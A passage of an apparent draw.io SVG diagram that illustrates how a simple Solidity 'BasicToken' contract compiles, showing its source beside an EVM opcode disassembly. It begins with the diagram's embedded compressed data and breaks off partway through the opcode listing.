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&lt;/diagram&gt;&lt;/mxfile&gt;"><defs><clipPath id="mx-clip-34-3466-382-414-0"><rect x="34" y="3466" width="382" height="414"/></clipPath><clipPath id="mx-clip-864-788-492-4724-0"><rect x="864" y="788" width="492" height="4724"/></clipPath><clipPath id="mx-clip-1842-388-492-724-0"><rect x="1842" y="388" width="492" height="724"/></clipPath><clipPath id="mx-clip-1732-1729-492-3554-0"><rect x="1732" y="1729" width="492" height="3554"/></clipPath><clipPath id="mx-clip-2552-31-152-54-0"><rect x="2552" y="31" width="152" height="54"/></clipPath><clipPath id="mx-clip-2652-216-182-124-0"><rect x="2652" y="216" width="182" height="124"/></clipPath><clipPath id="mx-clip-2684-991-202-84-0"><rect x="2684" y="991" width="202" height="84"/></clipPath><clipPath id="mx-clip-2552-1161-152-54-0"><rect x="2552" y="1161" width="152" height="54"/></clipPath><clipPath id="mx-clip-2534-1561-202-54-0"><rect x="2534" y="1561" width="202" height="54"/></clipPath><clipPath id="mx-clip-2574-1661-202-84-0"><rect x="2574" y="1661" width="202" height="84"/></clipPath><clipPath id="mx-clip-2560-1794-532-364-0"><rect x="2560" y="1794" width="532" height="364"/></clipPath><clipPath id="mx-clip-3644-2104-482-434-0"><rect x="3644" y="2104" width="482" height="434"/></clipPath><clipPath id="mx-clip-3644-2656-482-264-0"><rect x="3644" y="2656" width="482" height="264"/></clipPath><clipPath id="mx-clip-3574-3090-482-544-0"><rect x="3574" y="3090" width="482" height="544"/></clipPath><clipPath id="mx-clip-2632-2221-502-1224-0"><rect x="2632" y="2221" width="502" height="1224"/></clipPath><clipPath id="mx-clip-2692-3881-502-1374-0"><rect x="2692" y="3881" width="502" height="1374"/></clipPath><clipPath id="mx-clip-3644-3976-252-84-0"><rect x="3644" y="3976" width="252" height="84"/></clipPath><clipPath id="mx-clip-3702-4201-282-234-0"><rect x="3702" y="4201" width="282" height="234"/></clipPath><clipPath id="mx-clip-3642-4761-482-1074-0"><rect x="3642" y="4761" width="482" height="1074"/></clipPath><clipPath id="mx-clip-2656-708-332-224-0"><rect x="2656" y="708" width="332" height="224"/></clipPath><clipPath id="mx-clip-2664-391-362-254-0"><rect x="2664" y="391" width="362" height="254"/></clipPath></defs><g transform="translate(0.5,0.5)"><rect x="30" y="3434.5" width="390" height="440" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 30 3460.5 L 30 3434.5 L 420 3434.5 L 420 3460.5 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="224.5" y="3453">BasicToken.sol</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-34-3466-382-414-0)" font-size="12px"><text x="35.5" y="3478">pragma solidity ^0.4.24;</text><text x="35.5" y="3506">contract BasicToken {</text><text x="35.5" y="3534">  uint256 totalSupply_;</text><text x="35.5" y="3548">  mapping(address =&gt; uint256) balances;</text><text x="35.5" y="3576">  constructor(uint256 _initialSupply) public {</text><text x="35.5" y="3590">      totalSupply_ = _initialSupply;</text><text x="35.5" y="3604">      balances[msg.sender] = _initialSupply;</text><text x="35.5" y="3618">  }</text><text x="35.5" y="3646">  function totalSupply() public view returns (uint256) {</text><text x="35.5" y="3660">    return totalSupply_;</text><text x="35.5" y="3674">  }</text><text x="35.5" y="3702">  function transfer(address _to, uint256 _value) public returns (bool) {</text><text x="35.5" y="3716">    require(_to != address(0));</text><text x="35.5" y="3730">    require(_value &lt;= balances[msg.sender]);</text><text x="35.5" y="3758">    balances[msg.sender] = balances[msg.sender] - _value;</text><text x="35.5" y="3772">    balances[_to] = balances[_to] + _value;</text><text x="35.5" y="3786">    return true;</text><text x="35.5" y="3800">  }</text><text x="35.5" y="3828">  function balanceOf(address _owner) public view returns (uint256) {</text><text x="35.5" y="3842">    return balances[_owner];</text><text x="35.5" y="3856">  }</text><text x="35.5" y="3870">}</text></g><rect x="860" y="757" width="500" height="4750" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 860 783 L 860 757 L 1360 757 L 1360 783 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="1109.5" y="775.5">BasicToken.evm</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-864-788-492-4724-0)" font-size="12px"><text x="865.5" y="800.5">000 PUSH1 80</text><text x="865.5" y="814.5">002 PUSH1 40</text><text x="865.5" y="828.5">004 MSTORE</text><text x="865.5" y="842.5">005 CALLVALUE</text><text x="865.5" y="856.5">006 DUP1</text><text x="865.5" y="870.5">007 ISZERO</text><text x="865.5" y="884.5">008 PUSH2 0010</text><text x="865.5" y="898.5">011 JUMPI</text><text x="865.5" y="912.5">012 PUSH1 00</text><text x="865.5" y="926.5">014 DUP1</text><text x="865.5" y="940.5">015 REVERT</text><text x="865.5" y="954.5">016 JUMPDEST</text><text x="865.5" y="968.5">017 POP</text><text x="865.5" y="982.5">018 PUSH1 40</text><text x="865.5" y="996.5">020 MLOAD</text><text x="865.5" y="1010.5">021 PUSH1 20</text><text x="865.5" y="1024.5">023 DUP1</text><text x="865.5" y="1038.5">024 PUSH2 0217</text><text x="865.5" y="1052.5">027 DUP4</text><text x="865.5" y="1066.5">028 CODECOPY</text><text x="865.5" y="1080.5">029 DUP2</text><text x="865.5" y="1094.5">030 ADD</text><text x="865.5" y="1108.5">031 PUSH1 40</text><text x="865.5" y="1122.5">033 SWAP1</text><text x="865.5" y="1136.5">034 DUP2</text><text x="865.5" y="1150.5">035 MSTORE</text><text x="865.5" y="1164.5">036 SWAP1</text><text x="865.5" y="1178.5">037 MLOAD</text><text x="865.5" y="1192.5">038 PUSH1 00</text><text x="865.5" y="1206.5">040 DUP2</text><text x="865.5" y="1220.5">041 DUP2</text><text x="865.5" y="1234.5">042 SSTORE</text><text x="865.5" y="1248.5">043 CALLER</text><text x="865.5" y="1262.5">044 DUP2</text><text x="865.5" y="1276.5">045 MSTORE</text><text x="865.5" y="1290.5">046 PUSH1 01</text><text x="865.5" y="1304.5">048 PUSH1 20</text><text x="865.5" y="1318.5">050 MSTORE</text><text x="865.5" y="1332.5">051 SWAP2</text><text x="865.5" y="1346.5">052 SWAP1</text><text x="865.5" y="1360.5">053 SWAP2</text><text x="865.5" y="1374.5">054 SHA3</text><text x="865.5" y="1388.5">055 SSTORE</text><text x="865.5" y="1402.5">056 PUSH2 01d1</text><text x="865.5" y="1416.5">059 DUP1</text><text x="865.5" y="1430.5">060 PUSH2 0046</text><text x="865.5" y="1444.5">063 PUSH1 00</text><text x="865.5" y="1458.5">065 CODECOPY</text><text x="865.5" y="1472.5">066 PUSH1 00</text><text x="865.5" y="1486.5">068 RETURN</text><text x="865.5" y="1500.5">069 STOP</text><text x="865.5" y="1514.5">070 PUSH1 80</text><text x="865.5" y="1528.5">072 PUSH1 40</text><text x="865.5" y="1542.5">074 MSTORE</text><text x="865.5" y="1556.5">075 PUSH1 04</text><text x="865.5" y="1570.5">077 CALLDATASIZE</text><text x="865.5" y="1584.5">078 LT</text><text x="865.5" y="1598.5">079 PUSH2 0056</text><text x="865.5" y="1612.5">082 JUMPI</text><text x="865.5" y="1626.5">083 PUSH4 ffffffff</text><text x="865.5" y="1640.5">088 PUSH29 0100000000000000000000000000000000000000000000000000000000</text><text x="865.5" y="1654.5">118 PUSH1 00</text><text x="865.5" y="1668.5">120 CALLDATALOAD</text><text x="865.5" y="1682.5">121 DIV</text><text x="865.5" y="1696.5">122 AND</text><text x="865.5" y="1710.5">123 PUSH4 18160ddd</text><text x="865.5" y="1724.5">128 DUP2</text><text x="865.5" y="1738.5">129 EQ</text><text x="865.5" y="1752.5">130 PUSH2 005b</text><text x="865.5" y="1766.5">133 JUMPI</text><text x="865.5" y="1780.5">134 DUP1</text><text x="865.5" y="1794.5">135 PUSH4 70a08231</text><text x="865.5" y="1808.5">140 EQ</text><text x="865.5" y="1822.5">141 PUSH2 0082</text><text x="865.5" y="1836.5">144 JUMPI</text><text x="865.5" y="1850.5">145 DUP1</text><text x="865.5" y="1864.5">146 PUSH4 a9059cbb</text><text x="865.5" y="1878.5">151 EQ</text><text x="865.5" y="1892.5">152 PUSH2 00b0</text><text x="865.5" y="1906.5">155 JUMPI</text><text x="865.5" y="1920.5">156 JUMPDEST</text><text x="865.5" y="1934.5">157 PUSH1 00</text><text x="865.5" y="1948.5">159 DUP1</text><text x="865.5" y="1962.5">160 REVERT</text><text x="865.5" y="1976.5">161 JUMPDEST</text><text x="865.5" y="1990.5">162 CALLVALUE</text><text x="865.5" y="2004.5">163 DUP1</text><text x="865.5" y="2018.5">164 ISZERO</text><text x="865.5" y="2032.5">165 PUSH2 0067</text><text x="865.5" y="2046.5">168 JUMPI</text><text x="865.5" y="2060.5">169 PUSH1 00</text><text x="865.5" y="2074.5">171 DUP1</text><text x="865.5" y="2088.5">172 REVERT</text><text x="865.5" y="2102.5">173 JUMPDEST</text><text x="865.5" y="2116.5">174 POP</text><text x="865.5" y="2130.5">175 PUSH2 0070</text><text x="865.5" y="2144.5">178 PUSH2 00f5</text><text x="865.5" y="2158.5">181 JUMP</text><text x="865.5" y="2172.5">182 JUMPDEST</text><text x="865.5" y="2186.5">183 PUSH1 40</text><text x="865.5" y="2200.5">185 DUP1</text><text x="865.5" y="2214.5">186 MLOAD</text><text x="865.5" y="2228.5">187 SWAP2</text><text x="865.5" y="2242.5">188 DUP3</text><text x="865.5" y="2256.5">189 MSTORE</text><text x="865.5" y="2270.5">190 MLOAD</text><text x="865.5" y="2284.5">191 SWAP1</text><text x="865.5" y="2298.5">192 DUP2</text><text x="865.5" y="2312.5">193 SWAP1</text><text x="865.5" y="2326.5">194 SUB</text><text x="865.5" y="2340.5">195 PUSH1 20</text><text x="865.5" y="2354.5">197 ADD</text><text x="865.5" y="2368.5">198 SWAP1</text><text x="865.5" y="2382.5">199 RETURN</text><text x="865.5" y="2396.5">200 JUMPDEST</text><text x="865.5" y="2410.5">201 CALLVALUE</text><text x="865.5" y="2424.5">202 DUP1</text><text x="865.5" y="2438.5">203 ISZERO</text><text x="865.5" y="2452.5">204 PUSH2 008e</text><text x="865.5" y="2466.5">207 JUMPI</text><text x="865.5" y="2480.5">208 PUSH1 00</text><text x="865.5" y="2494.5">210 DUP1</text><text x="865.5" y="2508.5">211 REVERT</text><text x="865.5" y="2522.5">212 JUMPDEST</text><text x="865.5" y="2536.5">213 POP</text><text x="865.5" y="2550.5">214 PUSH2 0070</text><text x="865.5" y="2564.5">217 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="865.5" y="2578.5">238 PUSH1 04</text><text x="865.5" y="2592.5">240 CALLDATALOAD</text><text x="865.5" y="2606.5">241 AND</text><text x="865.5" y="2620.5">242 PUSH2 00fb</text><text x="865.5" y="2634.5">245 JUMP</text><text x="865.5" y="2648.5">246 JUMPDEST</text><text x="865.5" y="2662.5">247 CALLVALUE</text><text x="865.5" y="2676.5">248 DUP1</text><text x="865.5" y="2690.5">249 ISZERO</text><text x="865.5" y="2704.5">250 PUSH2 00bc</text><text x="865.5" y="2718.5">253 JUMPI</text><text x="865.5" y="2732.5">254 PUSH1 00</text><text x="865.5" y="2746.5">256 DUP1</text><text x="865.5" y="2760.5">257 REVERT</text><text x="865.5" y="2774.5">258 JUMPDEST</text><text x="865.5" y="2788.5">259 POP</text><text x="865.5" y="2802.5">260 PUSH2 00e1</text><text x="865.5" y="2816.5">263 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="865.5" y="2830.5">284 PUSH1 04</text><text x="865.5" y="2844.5">286 CALLDATALOAD</text><text x="865.5" y="2858.5">287 AND</text><text x="865.5" y="2872.5">288 PUSH1 24</text><text x="865.5" y="2886.5">290 CALLDATALOAD</text><text x="865.5" y="2900.5">291 PUSH2 0123</text><text x="865.5" y="2914.5">294 JUMP</text><text x="865.5" y="2928.5">295 JUMPDEST</text><text x="865.5" y="2942.5">296 PUSH1 40</text><text x="865.5" y="2956.5">298 DUP1</text><text x="865.5" y="2970.5">299 MLOAD</text><text x="865.5" y="2984.5">300 SWAP2</text><text x="865.5" y="2998.5">301 ISZERO</text><text x="865.5" y="3012.5">302 ISZERO</text><text x="865.5" y="3026.5">303 DUP3</text><text x="865.5" y="3040.5">304 MSTORE</text><text x="865.5" y="3054.5">305 MLOAD</text><text x="865.5" y="3068.5">306 SWAP1</text><text x="865.5" y="3082.5">307 DUP2</text><text x="865.5" y="3096.5">308 SWAP1</text><text x="865.5" y="3110.5">309 SUB</text><text x="865.5" y="3124.5">310 PUSH1 20</text><text x="865.5" y="3138.5">312 ADD</text><text x="865.5" y="3152.5">313 SWAP1</text><text x="865.5" y="3166.5">314 RETURN</text><text x="865.5" y="3180.5">315 JUMPDEST</text><text x="865.5" y="3194.5">316 PUSH1 00</text><text x="865.5" y="3208.5">318 SLOAD</text><text x="865.5" y="3222.5">319 SWAP1</text><text x="865.5" y="3236.5">320 JUMP</text><text x="865.5" y="3250.5">321 JUMPDEST</text><text x="865.5" y="3264.5">322 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="865.5" y="3278.5">343 AND</text><text x="865.5" y="3292.5">344 PUSH1 00</text><text x="865.5" y="3306.5">346 SWAP1</text><text x="865.5" y="3320.5">347 DUP2</text><text x="865.5" y="3334.5">348 MSTORE</text><text x="865.5" y="3348.5">349 PUSH1 01</text><text x="865.5" y="3362.5">351 PUSH1 20</text><text x="865.5" y="3376.5">353 MSTORE</text><text x="865.5" y="3390.5">354 PUSH1 40</text><text x="865.5" y="3404.5">356 SWAP1</text><text x="865.5" y="3418.5">357 SHA3</text><text x="865.5" y="3432.5">358 SLOAD</text><text x="865.5" y="3446.5">359 SWAP1</text><text x="865.5" y="3460.5">360 JUMP</text><text x="865.5" y="3474.5">361 JUMPDEST</text><text x="865.5" y="3488.5">362 PUSH1 00</text><text x="865.5" y="3502.5">364 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="865.5" y="3516.5">385 DUP4</text><text x="865.5" y="3530.5">386 AND</text><text 